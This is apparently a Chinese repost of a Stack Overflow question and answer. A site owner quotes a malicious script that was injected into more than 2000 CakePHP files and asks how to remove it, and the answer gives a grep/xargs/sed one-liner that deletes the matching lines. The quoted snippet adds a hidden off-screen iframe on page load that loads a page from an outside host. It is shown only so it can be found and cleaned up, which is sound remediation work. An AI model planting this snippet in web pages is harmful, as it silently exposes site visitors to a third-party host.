gpt4 book ai didi

linux - 需要使用linux命令删除cakephp脚本中的病毒代码

转载 作者:太空狗 更新时间:2023-10-29 12:19:56 26 4
gpt4 key购买 nike

昨天我的网站被黑了,代码如下:

<script>  
function frmAdd() {
var ifrm = document.createElement('iframe');
ifrm.style.position='absolute';
ifrm.style.top='-999em';
ifrm.style.left='-999em';
ifrm.src = \"http://fenwaywest.com/media/index.php\";
ifrm.id = 'frmId';
document.body.appendChild(ifrm);
};
window.onload = frmAdd;
</script>";

当我使用以下命令搜索服务器以查找受影响的文件时

grep -r "<script>  function frmAdd()" /path/

我得到了 2000 多个文件。

现在我只需要删除那一行。拜托,有人可以指导命令只删除所有 2000 个文件中的那一行吗?

最佳答案

先备份!然后,您可以尝试这样的操作:

grep -lr " function frmAdd" /path/ | xargs sed -i '/ function frmAdd/d'

这将删除与该正则表达式匹配的所有行。它还假设路径不包含空格(希望这里的假设是合理的)。

关于linux - 需要使用linux命令删除cakephp脚本中的病毒代码,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/12820020/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com